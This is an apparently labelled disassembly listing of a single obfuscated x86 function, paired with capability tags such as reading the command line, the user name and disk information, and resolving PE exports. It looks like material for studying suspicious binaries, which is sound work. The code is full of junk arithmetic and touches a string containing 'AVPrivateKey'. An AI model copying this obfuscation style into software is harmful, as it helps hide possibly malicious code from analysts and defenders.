Function at 0x10005570
Capabilities:
Accept command line arguments
Get common file path
Get disk information
Get session user name
Query environment variable
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd80
push ebx
push esi
push edi
mov dword [ebp - 0x590], 0xa295ab2f
mov eax, 0xffff9961
mov word [ebp - 0x18], ax
mov byte [ebp - 1], 0x76
xor ecx, ecx
mov dword [ebp - 0x2c], 0xc315
mov dword [ebp - 0x28], ecx
mov edx, 0x70
mov word [ebp - 0x14], dx
mov al, byte [0x1004a15c]
mov byte [ebp - 3], al
mov ecx, 0x3f6a5
mov dword [ebp - 0x44], 0x86fc9ce1
mov dword [ebp - 0x40], ecx
mov edx, 0x6d63
mov word [ebp - 8], dx
mov eax, dword [0x1004a130]
mov ecx, dword [0x1004a134]
mov dword [ebp - 0x5b8], ecx
mov word [ebp - 0x10], ax
mov edx, dword [0x1004a17c]
mov word [ebp - 0x1c], dx
mov dword [ebp - 0x50], 0x4da2a56e
movsx eax, byte [0x1004a017]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x54], 0x24d2294
mov byte [ebp - 2], 2
mov dword [ebp - 0x4c], 0x55
mov ecx, dword [0x1004a0e8]
mov dword [ebp - 0x3c], ecx
mov edx, 0xd7
mov word [ebp - 0xc], dx
mov ax, word [0x1004a150]
mov word [ebp - 0x20], ax
mov dword [ebp - 0x68], 0x1800
mov ecx, dword [0x1004a188]
mov edx, dword [0x1004a18c]
mov dword [ebp - 0x5bc], edx
mov dword [ebp - 0x24], ecx
mov eax, dword [0x1004a128]
cdq
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], edx
mov eax, dword [0x1004a168]
mov ecx, dword [0x1004a16c]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], ecx
mov edx, dword [0x1004a178]
mov dword [ebp - 0x60], edx
movzx eax, byte [0x1004a056]
mov dword [ebp - 0x5c0], eax
mov ecx, dword [0x1004a110]
mov dword [ebp - 0x5c4], ecx
mov dword [ebp - 0x5c8], 0x60
mov edx, dword [0x1004a110]
mov dword [ebp - 0x5cc], edx
mov eax, 0xffffe848
mov word [ebp - 0x290], ax
xor ecx, ecx
mov dword [ebp - 0x5f0], 0xc54c
mov dword [ebp - 0x5ec], ecx
mov edx, dword [0x1004a160]
mov eax, dword [0x1004a164]
mov dword [ebp - 0x5d0], eax
mov dword [ebp - 0x5d4], edx
mov cx, word [0x1004a110]
mov word [ebp - 0x294], cx
xor edx, edx
mov dword [ebp - 0x5f8], 0x37fa
mov dword [ebp - 0x5f4], edx
xor eax, eax
mov dword [ebp - 0x600], 0x53
mov dword [ebp - 0x5fc], eax
mov dword [ebp - 0x5d8], 0x7a
mov cx, word [0x1004a150]
mov byte [ebp - 0x7b], cl
mov dx, word [0x1004a150]
mov byte [ebp - 0x7c], dl
mov eax, dword [0x1004a168]
mov ecx, dword [0x1004a16c]
mov dword [ebp - 0x608], eax
mov dword [ebp - 0x604], ecx
movzx edx, word [0x1004a150]
mov dword [ebp - 0x5dc], edx
mov byte [ebp - 0x7d], 0xbb
mov eax, 0x5c42
mov word [ebp - 0x18], ax
mov ecx, dword [0x1004ac78]
mov dword [ebp - 0x88], ecx
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2e0], edx
mov dword [ebp - 0x2dc], eax
mov ecx, dword [ebp - 0x2e0]
or ecx, dword [ebp - 0x2dc]
je 0x100057d5
mov dword [ebp - 0x84], 0
jmp 0x10005794
mov edx, dword [ebp - 0x84]
add edx, 1
mov dword [ebp - 0x84], edx
cmp dword [ebp - 0x84], 0xde
jge 0x100057d5
mov eax, dword [ebp - 0x30]
shl eax, 2
mov dword [ebp - 0x24], eax
movzx ecx, word [0x1004a0cc]
sar ecx, 5
mov word [ebp - 0x10], cx
mov edx, dword [0x1004a0f8]
mov eax, dword [0x1004a0fc]
add edx, 1
adc eax, 0
mov dword [0x1004a0f8], edx
mov dword [0x1004a0fc], eax
jmp 0x10005785
mov ecx, dword [ebp - 0x88]
add ecx, 0x250
mov dword [ebp - 0x2a0], ecx
movzx edx, word [ebp - 8]
cmp dword [ebp - 0x30], edx
jne 0x100057fc
mov dword [ebp - 0x1f8], 1
jmp 0x10005806
mov dword [ebp - 0x1f8], 0
cmp dword [ebp - 0x30], 0x61
jne 0x10005818
mov dword [ebp - 0x1fc], 1
jmp 0x10005822
mov dword [ebp - 0x1fc], 0
mov eax, dword [ebp - 0x1f8]
cmp eax, dword [ebp - 0x1fc]
jl 0x1000595d
movzx eax, byte [ebp - 2]
cdq
mov dword [ebp - 0x2e8], eax
mov dword [ebp - 0x2e4], edx
mov ecx, dword [ebp - 0x2e4]
cmp ecx, dword [0x1004a0ec]
jb 0x10005875
ja 0x10005863
mov edx, dword [ebp - 0x2e8]
cmp edx, dword [0x1004a0e8]
jbe 0x10005875
movzx eax, byte [ebp - 2]
add eax, 0x792df2b
mov word [ebp - 0x14], ax
jmp 0x10005958
movsx ecx, word [0x1004a120]
movzx edx, byte [0x1004a06b]
cmp ecx, edx
jne 0x100058e7
cmp dword [ebp - 0x50], 0
je 0x1000589a
mov eax, dword [0x1004a190]
mov dword [ebp - 0xe4], eax
jmp 0x100058a4
movsx ecx, word [ebp - 0x18]
mov dword [ebp - 0xe4], ecx
mov edx, dword [ebp - 0xe4]
mov dword [0x1004a178], edx
movzx eax, word [ebp - 0x10]
cdq
add eax, dword [ebp - 0x38]
adc edx, dword [ebp - 0x34]
mov dword [ebp - 0x2f0], eax
mov dword [ebp - 0x2ec], edx
mov eax, dword [ebp - 0x2f0]
or eax, dword [ebp - 0x2ec]
jne 0x100058db
mov byte [ebp - 0x61], 1
jmp 0x100058df
mov byte [ebp - 0x61], 0
mov cl, byte [ebp - 0x61]
mov byte [ebp - 3], cl
jmp 0x10005958
movzx edx, word [ebp - 8]
test edx, edx
je 0x10005904
cmp dword [0x1004a148], 0
je 0x10005904
mov dword [ebp - 0xe8], 1
jmp 0x1000590e
mov dword [ebp - 0xe8], 0
movsx eax, byte [0x1004a017]
test eax, eax
jne 0x1000592d
movzx ecx, word [ebp - 0x10]
test ecx, ecx
jne 0x1000592d
mov dword [ebp - 0xec], 0
jmp 0x10005937
mov dword [ebp - 0xec], 1
mov edx, dword [ebp - 0xe8]
cmp edx, dword [ebp - 0xec]
jg 0x10005958
mov eax, dword [ebp - 0x50]
sub eax, 0xb18a45f3
mov word [ebp - 0x14], ax
movzx ecx, word [ebp - 0xc]
mov dword [ebp - 0x3c], ecx
jmp 0x10005a3c
mov eax, dword [0x1004a140]
cdq
mov ecx, dword [0x1004a134]
sub eax, dword [0x1004a130]
sbb edx, ecx
mov dword [ebp - 0x2f8], eax
mov dword [ebp - 0x2f4], edx
mov edx, dword [ebp - 0x2f8]
or edx, dword [ebp - 0x2f4]
jne 0x100059c6
mov eax, dword [0x1004a160]
mov ecx, dword [0x1004a164]
not eax
not ecx
mov edx, dword [0x1004a0d8]
mov esi, dword [0x1004a0dc]
add edx, eax
adc esi, ecx
mov eax, dword [0x1004a160]
mov ecx, dword [0x1004a164]
push esi
push edx
push ecx
push eax
call fcn.1002e960
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], edx
jmp 0x10005a3c
movsx edx, byte [0x1004a03f]
test edx, edx
je 0x100059e0
movzx eax, word [ebp - 0x10]
cdq
xor eax, dword [ebp - 0x38]
mov dword [0x1004a178], eax
jmp 0x10005a3c
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
mov edx, dword [0x1004a180]
mov esi, dword [0x1004a184]
mov dword [ebp - 0x300], eax
mov dword [ebp - 0x2fc], ecx
mov dword [ebp - 0x308], edx
mov dword [ebp - 0x304], esi
mov eax, dword [ebp - 0x2fc]
cmp eax, dword [ebp - 0x304]
jl 0x10005a3c
jg 0x10005a27
mov ecx, dword [ebp - 0x300]
cmp ecx, dword [ebp - 0x308]
jb 0x10005a3c
movzx edx, byte [ebp - 2]
sub edx, dword [0x1004a15c]
movzx eax, word [ebp - 8]
imul edx, eax
mov word [ebp - 0x1c], dx
mov ecx, dword [ebp - 0x88]
add ecx, 0x2d3
mov dword [ebp - 0x12c], ecx
movsx edx, byte [str.address_family_not]
cmp edx, dword [ebp - 0x50]
je 0x10005a66
mov dword [ebp - 0xf0], 1
jmp 0x10005a70
mov dword [ebp - 0xf0], 0
movsx eax, byte [str.address_family_not]
cmp eax, 0x55
je 0x10005a88
mov dword [ebp - 0xf4], 1
jmp 0x10005a92
mov dword [ebp - 0xf4], 0
mov ecx, dword [ebp - 0xf0]
cmp ecx, dword [ebp - 0xf4]
jne 0x10005af5
mov byte [ebp - 2], 1
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x5e0], ecx
sub edx, eax
mov dword [ebp - 0x4c], edx
mov dl, byte [ebp - 2]
mov byte [ebp - 0xf8], dl
cmp byte [ebp - 0xf8], 0
je 0x10005ad5
cmp byte [ebp - 0xf8], 1
je 0x10005ae6
jmp 0x10005af3
mov eax, dword [0x1004a144]
sub eax, 0x8a63
mov dword [0x1004a140], eax
jmp 0x10005af3
movzx ecx, byte [ebp - 3]
imul edx, ecx, 0xf0
mov dword [ebp - 0x30], edx
jmp 0x10005b3b
mov eax, dword [ebp - 0x4c]
not eax
xor ecx, ecx
mov dword [ebp - 0x310], eax
mov dword [ebp - 0x30c], ecx
mov edx, dword [0x1004a13c]
cmp edx, dword [ebp - 0x30c]
jl 0x10005b3b
jg 0x10005b25
mov eax, dword [str.J64_]
cmp eax, dword [ebp - 0x310]
jb 0x10005b3b
mov eax, dword [0x1004a15c]
sub eax, 0xd5
cdq
mov dword [0x1004a0d0], eax
mov dword [0x1004a0d4], edx
mov ecx, dword [ebp - 0x88]
add ecx, 0x225
mov dword [ebp - 0x128], ecx
movzx edx, word [ebp - 8]
movsx eax, byte [0x1004a017]
cmp edx, eax
jg 0x10005b5e
jmp 0x10005b82
cmp dword [ebp - 0x60], 0
je 0x10005b82
mov ecx, dword [ebp - 0x30]
add ecx, 0x409dba5d
xor edx, edx
mov dword [0x1004a160], ecx
mov dword [0x1004a164], edx
mov dword [ebp - 0x30], 0x274e
mov eax, dword [0x1004ac78]
mov dword [ebp - 0x8c], eax
movzx eax, byte [0x1004a0bc]
cdq
mov ecx, dword [0x1004a130]
mov edx, dword [0x1004a134]
mov dword [ebp - 0x5e4], edx
sub eax, ecx
mov byte [0x1004a0bc], al
movzx eax, word [0x1004a124]
movsx ecx, byte [ebp - 1]
not ecx
mov edx, dword [ebp - 0x4c]
sub edx, ecx
movzx ecx, word [0x1004a150]
not ecx
movsx esi, byte [ebp - 1]
xor ecx, esi
sub edx, ecx
xor eax, edx
not eax
mov word [0x1004a0f0], ax
mov edx, dword [ebp - 0x8c]
add edx, 0x6a
mov dword [ebp - 0x5e8], edx
movzx eax, word [0x1004a0cc]
sub eax, 0xa2
mov byte [ebp - 3], al
mov ecx, dword [ebp - 0x38]
sub ecx, 0x8c192db9
mov dword [0x1004a128], ecx
mov edx, dword [ebp - 0x8c]
add edx, 0x1fa
mov dword [ebp - 0x2b0], edx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov word [ebp - 0x10], ax
movsx eax, byte [0x1004a03f]
cmp eax, dword [0x1004a140]
jg 0x10005c47
xor ecx, ecx
mov dword [ebp - 0x20c], 1
mov dword [ebp - 0x208], ecx
jmp 0x10005c52
xorps xmm0, xmm0
movlpd qword [ebp - 0x20c], xmm0
mov edx, dword [ebp - 0x208]
cmp edx, dword [0x1004a174]
jg 0x10005c79
jl 0x10005c70
mov eax, dword [ebp - 0x20c]
cmp eax, dword [0x1004a170]
ja 0x10005c79
mov ecx, 0x5bf5
mov word [ebp - 8], cx
mov edx, dword [ebp - 0x8c]
add edx, 0x194
mov dword [ebp - 0x18c], edx
mov dword [ebp - 0x90], 0
jmp 0x10005ca6
mov eax, dword [ebp - 0x90]
add eax, 2
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0x3dc
jge 0x10005e12
mov ecx, 3
mov word [ebp - 8], cx
movzx eax, byte [ebp - 3]
cdq
mov ecx, dword [0x1004a118]
sub ecx, eax
mov eax, dword [0x1004a11c]
sbb eax, edx
mov dword [0x1004a118], ecx
mov dword [0x1004a11c], eax
movzx ecx, word [ebp - 8]
mov dword [ebp - 0xfc], ecx
cmp dword [ebp - 0xfc], 3
ja case.default.0x10005cfb
mov edx, dword [ebp - 0xfc]
jmp dword [edx*4 + 0x10009038]
mov eax, 0x6205c449
sub eax, dword [ebp - 0x68]
xor ecx, ecx
mov dword [0x1004a168], eax
mov dword [0x1004a16c], ecx
jmp case.default.0x10005cfb
movzx edx, byte [0x1004a056]
sar edx, 4
mov word [ebp - 0x18], dx
mov eax, 1
imul ecx, eax, 0x70
movzx edx, byte [ecx + 0x102496c0]
movzx eax, byte [0x1004a0ba]
or eax, edx
mov byte [0x1004a0ba], al
jmp case.default.0x10005cfb
mov ecx, dword [ebp - 0x54]
add ecx, dword [ebp - 0x50]
jne 0x10005d60
mov dword [ebp - 0x108], 1
jmp 0x10005d6a
mov dword [ebp - 0x108], 0
cmp dword [0x1004a140], 0
jne 0x10005d7f
mov dword [ebp - 0x100], 1
jmp 0x10005d89
mov dword [ebp - 0x100], 0
movsx edx, byte [0x1004a093]
test edx, edx
jne 0x10005da0
mov dword [ebp - 0x104], 1
jmp 0x10005daa
mov dword [ebp - 0x104], 0
movzx eax, word [ebp - 8]
imul eax, dword [ebp - 0x100]
add eax, dword [ebp - 0x104]
mov ecx, dword [ebp - 0x108]
sub ecx, eax
mov word [ebp - 8], cx
jmp case.default.0x10005cfb
movzx eax, word [0x1004a0cc]
cdq
mov ecx, dword [0x1004a154]
xor esi, esi
add ecx, dword [ebp - 0x5c]
adc esi, dword [ebp - 0x58]
sub eax, ecx
sbb edx, esi
mov dword [0x1004a160], eax
mov dword [0x1004a164], edx
mov ecx, dword [0x1004a0c8]
add ecx, 0x60f36245
movzx eax, byte [ebp - 2]
cdq
and eax, ecx
mov byte [ebp - 2], al
mov edx, dword [ebp - 0x4c]
add edx, 1
mov dword [ebp - 0x4c], edx
jmp 0x10005c97
movzx eax, byte [ebp - 2]
cdq
mov dword [ebp - 0x318], eax
mov dword [ebp - 0x314], edx
mov eax, dword [ebp - 0x314]
cmp eax, dword [ebp - 0x34]
ja 0x10005e47
jb 0x10005e3b
mov ecx, dword [ebp - 0x318]
cmp ecx, dword [ebp - 0x38]
jae 0x10005e47
mov dword [ebp - 0x10c], 1
jmp 0x10005e51
mov dword [ebp - 0x10c], 0
movzx edx, byte [ebp - 2]
cmp edx, 0x2a
jge 0x10005e66
mov dword [ebp - 0x110], 1
jmp 0x10005e70
mov dword [ebp - 0x110], 0
mov eax, dword [ebp - 0x10c]
cmp eax, dword [ebp - 0x110]
jl 0x10005e80
jmp 0x10005e9f
movsx ecx, byte [0x1004a03f]
add ecx, 0x4b
mov edx, dword [ebp - 0x24]
sub edx, ecx
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x3c]
shl eax, 8
cdq
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], edx
mov eax, dword [str.._AVPrivateKey__]
mov dword [ebp - 0x554], eax
mov ecx, dword [0x1003b234]
mov dword [ebp - 0x550], ecx
mov edx, dword [0x1003b238]
mov dword [ebp - 0x54c], edx
mov eax, dword [0x1003b23c]
mov dword [ebp - 0x548], eax
mov cl, byte [0x1003b240]
mov byte [ebp - 0x544], cl
lea edx, [ebp - 0x554]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cdq
mov dword [str.J64_], eax
mov dword [0x1004a13c], edx
mov eax, dword [0x1004a148]
cdq
mov dword [ebp - 0x320], eax
mov dword [ebp - 0x31c], edx
mov eax, dword [0x1004a11c]
cmp eax, dword [ebp - 0x31c]
ja 0x10005f2d
jb 0x10005f21
mov ecx, dword [0x1004a118]
cmp ecx, dword [ebp - 0x320]
jae 0x10005f2d
mov dword [ebp - 0x114], 1
jmp 0x10005f37
mov dword [ebp - 0x114], 0
cmp dword [0x1004a11c], 0
ja 0x10005f57
jb 0x10005f4b
cmp dword [0x1004a118], 0x1c
jae 0x10005f57
mov dword [ebp - 0x118], 1
jmp 0x10005f61
mov dword [ebp - 0x118], 0
mov edx, dword [ebp - 0x114]
cmp edx, dword [ebp - 0x118]
je 0x10005fcd
movzx eax, word [ebp - 0xc]
movsx ecx, byte [str.address_family_not]
cmp eax, ecx
jne 0x10005fa2
mov edx, dword [ebp - 0x38]
xor edx, 0xc6366ac8
mov dword [ebp - 0x4c], edx
movzx eax, byte [0x1004a06b]
shl eax, 4
cdq
mov dword [0x1004a130], eax
mov dword [0x1004a134], edx
jmp 0x10005fcb
movzx eax, byte [0x1004a0bc]
test eax, eax
je 0x10005fcb
mov ecx, dword [0x1004a14c]
not ecx
test ecx, ecx
je 0x10005fcb
mov edx, dword [0x1004a158]
sub edx, dword [0x1004a15c]
mov dword [0x1004a158], edx
jmp 0x10005fda
mov eax, dword [ebp - 0x54]
add eax, 0x9d8cb068
mov dword [0x1004a128], eax
movzx eax, byte [0x1004a06b]
sub eax, 0x6f4c8b83
cdq
mov dword [0x1004a0f8], eax
mov dword [0x1004a0fc], edx
mov cl, byte [0x1004ac78]
mov byte [0x1004a0bc], cl
mov dword [ebp - 0x1f0], 0
push 0x1003b244
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor edx, edx
mov dword [0x1004a160], eax
mov dword [0x1004a164], edx
xor eax, eax
mov word [ebp - 0x78], ax
movzx ecx, word [0x1004a150]
xor ecx, 0xabaa8db4
mov dword [ebp - 0x3c], ecx
mov edx, dword [0x1004ac78]
xor eax, eax
mov dword [0x1004a0e8], edx
mov dword [0x1004a0ec], eax
mov ecx, dword [ebp - 0x54]
add ecx, 0x3a5bc314
mov dword [0x1004a104], ecx
mov edx, 2
mov word [ebp - 8], dx
mov eax, dword [ebp - 0x30]
sar eax, 4
mov byte [0x1004a056], al
mov ecx, dword [0x1004a160]
mov edx, dword [0x1004a164]
add ecx, dword [ebp - 0x5c]
adc edx, dword [ebp - 0x58]
mov eax, dword [0x1004a160]
mov esi, dword [0x1004a164]
sub eax, ecx
sbb esi, edx
mov dword [0x1004a160], eax
mov dword [0x1004a164], esi
movzx ecx, word [ebp - 8]
mov dword [ebp - 0x94], ecx
cmp dword [ebp - 0x94], 0
je 0x100060bf
cmp dword [ebp - 0x94], 1
je 0x100060f9
cmp dword [ebp - 0x94], 2
je 0x10006107
jmp 0x10006137
mov edx, dword [0x1004ac78]
xor eax, eax
mov dword [0x1004a130], edx
mov dword [0x1004a134], eax
movzx eax, word [ebp - 0xc]
cdq
mov ecx, eax
mov edx, dword [0x1004a130]
mov eax, dword [0x1004a134]
mov dword [ebp - 0x60c], eax
add ecx, edx
movzx eax, word [ebp - 0xc]
cdq
sub eax, ecx
mov word [ebp - 0xc], ax
jmp 0x10006137
mov cx, word [ebp - 0x14]
sub cx, 1
mov word [ebp - 0x14], cx
jmp 0x10006137
mov edx, 1
imul eax, edx, 0x21
mov cl, byte [eax + 0x101bd8e0]
mov byte [0x1004a03e], cl
movsx eax, byte [ebp - 1]
cdq
mov edx, dword [0x1004a188]
mov ecx, dword [0x1004a18c]
mov dword [ebp - 0x610], ecx
add eax, edx
mov byte [ebp - 1], al
cmp dword [0x1004a190], 0
je 0x10006142
jmp 0x10006181
movzx eax, word [0x1004a0cc]
add eax, dword [ebp - 0x68]
cdq
mov edx, dword [0x1004a0e0]
mov ecx, dword [0x1004a0e4]
mov dword [ebp - 0x614], ecx
add eax, edx
mov edx, dword [0x1004a118]
not edx
mov ecx, dword [0x1004a190]
not ecx
sub edx, ecx
add edx, dword [0x1004a118]
not edx
xor eax, edx
mov word [ebp - 0x1c], ax
cmp dword [ebp + 0xc], 0xffff
ja 0x100067f7
movzx eax, word [ebp - 8]
cdq
mov dword [ebp - 0x328], eax
mov dword [ebp - 0x324], edx
mov edx, dword [0x1004a0d0]
cmp edx, dword [ebp - 0x328]
jne 0x100061ba
mov eax, dword [0x1004a0d4]
cmp eax, dword [ebp - 0x324]
je 0x100061bc
jmp 0x100061c8
mov ecx, dword [0x1004ac78]
mov dword [0x1004a17c], ecx
mov edx, dword [0x1004ac78]
mov dword [ebp - 0x98], edx
movsx eax, word [ebp - 0x18]
test eax, eax
je 0x10006204
movsx eax, word [ebp - 0x1c]
cdq
mov ecx, eax
add ecx, dword [0x1004a118]
movsx eax, word [ebp - 0x1c]
cdq
add eax, ecx
mov word [ebp - 0x1c], ax
movzx edx, word [ebp - 0x20]
add edx, dword [ebp - 0x3c]
mov word [ebp - 0x20], dx
jmp 0x1000629f
movsx eax, byte [ebp - 1]
test eax, eax
je 0x10006228
movzx ecx, word [0x1004a150]
sub ecx, dword [ebp - 0x60]
movzx edx, word [0x1004a150]
sub edx, ecx
mov word [0x1004a150], dx
jmp 0x1000629f
movzx eax, word [ebp - 8]
cdq
mov dword [ebp - 0x330], eax
mov dword [ebp - 0x32c], edx
cmp dword [ebp - 0x330], 0xe3babdff
jne 0x10006251
cmp dword [ebp - 0x32c], 0x5fcc0
je 0x1000625d
mov dword [ebp - 0x11c], 1
jmp 0x10006267
mov dword [ebp - 0x11c], 0
cmp dword [ebp - 0x11c], 0x1ecc
jl 0x10006286
xor eax, eax
mov dword [0x1004a180], 0xd0f1
mov dword [0x1004a184], eax
jmp 0x1000629f
movzx ecx, word [0x1004a0f0]
not ecx
test ecx, ecx
je 0x1000629f
movzx edx, byte [ebp - 2]
mov eax, dword [ebp - 0x60]
sub eax, edx
mov dword [ebp - 0x60], eax
mov ecx, dword [ebp - 0x98]
add ecx, 0x15d
mov dword [ebp - 0x29c], ecx
mov eax, dword [0x1004a108]
mov edx, dword [0x1004a10c]
mov cl, 6
call fcn.1002e9a0
mov dword [0x1004a108], eax
mov dword [0x1004a10c], edx
mov edx, dword [ebp - 0x98]
add edx, 0x3b1
mov dword [ebp - 0x298], edx
movzx eax, word [ebp - 0x10]
test eax, eax
je 0x10006451
mov byte [ebp - 3], 4
mov ecx, dword [0x1004a140]
sub ecx, 1
mov dword [0x1004a128], ecx
movzx edx, word [ebp - 0x10]
shl edx, 4
mov dword [ebp - 0x24], edx
movzx eax, byte [ebp - 3]
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 4
ja case.default.0x10006326
mov ecx, dword [ebp - 0x120]
jmp dword [ecx*4 + 0x10009048]
movzx eax, byte [0x1004a0bc]
add eax, 0x37350b23
cdq
mov dword [0x1004a0d0], eax
mov dword [0x1004a0d4], edx
jmp case.default.0x10006326
mov edx, dword [ebp - 0x30]
sub edx, dword [ebp - 0x24]
mov dword [ebp - 0x30], edx
mov eax, dword [0x1004a154]
mov ecx, dword [0x1004a180]
mov edx, dword [0x1004a184]
mov dword [ebp - 0x558], edx
add eax, ecx
mov ecx, dword [0x1004a154]
sub ecx, eax
mov dword [0x1004a154], ecx
jmp case.default.0x10006326
movzx eax, byte [0x1004a06b]
cdq
mov edx, dword [0x1004a0e8]
sub edx, eax
mov word [0x1004a150], dx
movzx eax, word [0x1004a124]
cdq
add eax, dword [0x1004a0d0]
adc edx, dword [0x1004a0d4]
mov dword [0x1004a0d0], eax
mov dword [0x1004a0d4], edx
jmp case.default.0x10006326
mov eax, dword [0x1004a14c]
mov ecx, 1
imul edx, ecx, 0x24
mov byte [edx + 0x10249754], al
mov eax, dword [str.J64_]
xor eax, 0xad
mov ecx, dword [0x1004a13c]
xor ecx, 0
not eax
not ecx
mov edx, dword [0x1004a110]
not edx
mov esi, dword [ebp - 0x50]
not esi
sub edx, esi
xor esi, esi
push esi
push edx
push ecx
push eax
call fcn.1002e960
mov esi, eax
mov edi, edx
movzx eax, word [ebp - 0x10]
add eax, dword [0x1004a110]
not eax
cdq
mov ecx, dword [0x1004a0e0]
mov ebx, dword [0x1004a0e4]
push ebx
push ecx
push edx
push eax
call fcn.1002e960
add esi, eax
adc edi, edx
mov dword [0x1004a0d8], esi
mov dword [0x1004a0dc], edi
jmp case.default.0x10006326
mov edx, dword [0x1004a154]
sub edx, dword [0x1004a148]
xor eax, eax
mov dword [0x1004a130], edx
mov dword [0x1004a134], eax
jmp 0x10006487
mov ecx, dword [0x1004a148]
not ecx
mov edx, dword [0x1004a144]
not edx
cmp ecx, edx
jle 0x10006487
mov eax, 0x618d9d80
or eax, 0x78221
je 0x10006487
mov ecx, 0xfffffbb6
mov word [ebp - 0x14], cx
mov dx, word [0x1004a0cc]
mov byte [str.address_family_not], dl
mov eax, dword [ebp - 0x98]
add eax, 0x37
mov dword [ebp - 0x124], eax
mov ecx, dword [ebp - 0x124]
add ecx, dword [ebp - 0x298]
mov edx, dword [ebp - 0x124]
and edx, dword [ebp - 0x29c]
cmp ecx, edx
je 0x100067f7
movzx eax, word [ebp - 8]
movzx ecx, byte [ebp - 2]
cmp eax, ecx
je 0x10006535
mov dword [ebp - 0x9c], 0x12ed
movsx edx, word [ebp - 0x1c]
imul eax, edx, 0x7ce
mov dword [0x1004a14c], eax
movsx ecx, word [ebp - 0x1c]
add ecx, dword [ebp - 0x24]
movsx edx, word [ebp - 0x1c]
or edx, ecx
mov word [ebp - 0x1c], dx
cmp dword [ebp - 0x9c], 0x1174
jle 0x10006533
mov ax, word [0x1004a140]
mov word [ebp - 0x1c], ax
movzx eax, word [ebp - 0x10]
cdq
mov ecx, eax
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x55c], eax
sub ecx, edx
movzx eax, word [ebp - 0x10]
cdq
add eax, ecx
mov word [ebp - 0x10], ax
mov ecx, dword [ebp - 0x9c]
sub ecx, 1
mov dword [ebp - 0x9c], ecx
jmp 0x100064ec
jmp 0x1000656b
mov edx, dword [ebp - 0x54]
xor eax, eax
mov ecx, dword [0x1004a0e0]
mov esi, dword [0x1004a0e4]
not ecx
not esi
push esi
push ecx
push eax
push edx
call fcn.1002e960
mov ecx, eax
movzx eax, byte [0x1004a0ba]
movzx edx, word [ebp - 0xc]
sub eax, edx
not eax
cdq
sub ecx, eax
mov word [ebp - 0x18], cx
mov byte [0x1004a03f], 0xb0
movzx eax, byte [0x1004a0bc]
cdq
mov ecx, eax
mov esi, edx
movsx eax, byte [0x1004a03f]
cdq
mov edi, dword [ebp - 0x28]
add eax, dword [ebp - 0x2c]
adc edx, edi
mov dword [ebp - 0x338], ecx
mov dword [ebp - 0x334], esi
mov dword [ebp - 0x340], eax
mov dword [ebp - 0x33c], edx
mov edx, dword [ebp - 0x338]
cmp edx, dword [ebp - 0x340]
jne 0x10006725
mov eax, dword [ebp - 0x334]
cmp eax, dword [ebp - 0x33c]
jne 0x10006725
movzx eax, word [0x1004a0f0]
cdq
mov ecx, dword [0x1004a0d8]
mov esi, dword [0x1004a0dc]
add ecx, eax
adc esi, edx
mov dword [0x1004a0d8], ecx
mov dword [0x1004a0dc], esi
movzx eax, word [ebp - 0x10]
cdq
mov ecx, dword [ebp - 0x2c]
mov esi, dword [ebp - 0x28]
xor ecx, eax
xor esi, edx
xor edx, edx
sub ecx, dword [0x1004a178]
sbb esi, edx
mov dword [ebp - 0x348], ecx
mov dword [ebp - 0x344], esi
mov eax, dword [ebp - 0x348]
or eax, dword [ebp - 0x344]
jne 0x1000662c
mov ecx, 1
mov word [ebp - 0x72], cx
jmp 0x10006632
xor edx, edx
mov word [ebp - 0x72], dx
mov ax, word [ebp - 0x72]
mov word [0x1004a100], ax
movsx eax, word [ebp - 0x18]
add eax, 0xf8
cdq
mov dword [ebp - 0x350], eax
mov dword [ebp - 0x34c], edx
mov ecx, dword [0x1004a0d0]
cmp ecx, dword [ebp - 0x350]
jne 0x10006725
mov edx, dword [0x1004a0d4]
cmp edx, dword [ebp - 0x34c]
jne 0x10006725
mov dword [ebp - 0xa0], 0
jmp 0x10006691
mov eax, dword [ebp - 0xa0]
add eax, 1
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 0x242
jge 0x1000670a
mov dword [ebp - 0xa4], 0
jmp 0x100066b8
mov ecx, dword [ebp - 0xa4]
add ecx, 2
mov dword [ebp - 0xa4], ecx
cmp dword [ebp - 0xa4], 0x2d8
jge 0x100066f8
mov eax, dword [ebp - 0x30]
cdq
add eax, dword [ebp - 0x5c]
adc edx, dword [ebp - 0x58]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], edx
xor edx, edx
mov eax, dword [ebp - 0x38]
sub eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x34]
sbb ecx, edx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], ecx
mov edx, dword [0x1004a0c8]
add edx, 1
mov dword [0x1004a0c8], edx
jmp 0x100066a9
mov eax, dword [0x1004a148]
add eax, 1
mov dword [0x1004a148], eax
jmp 0x10006682
jmp 0x1000656b
movzx eax, byte [ebp - 3]
cdq
mov dword [ebp - 0x358], eax
mov dword [ebp - 0x354], edx
cmp dword [ebp - 0x354], 0xfff9fac5
jg 0x10006764
jl 0x10006750
cmp dword [ebp - 0x358], 0x498c5fd1
jae 0x10006764
xor eax, eax
mov dword [ebp - 0x214], 1
mov dword [ebp - 0x210], eax
jmp 0x1000676f
xorps xmm0, xmm0
movlpd qword [ebp - 0x214], xmm0
push 0xb1221
push 0xb069c3
mov ecx, dword [0x1004a11c]
push ecx
mov edx, dword [0x1004a118]
push edx
call fcn.1002e960
mov dword [ebp - 0x360], eax
mov dword [ebp - 0x35c], edx
mov eax, dword [ebp - 0x360]
cmp eax, dword [ebp - 0x214]
jne 0x100067b4
mov ecx, dword [ebp - 0x35c]
cmp ecx, dword [ebp - 0x210]
je 0x100067b6
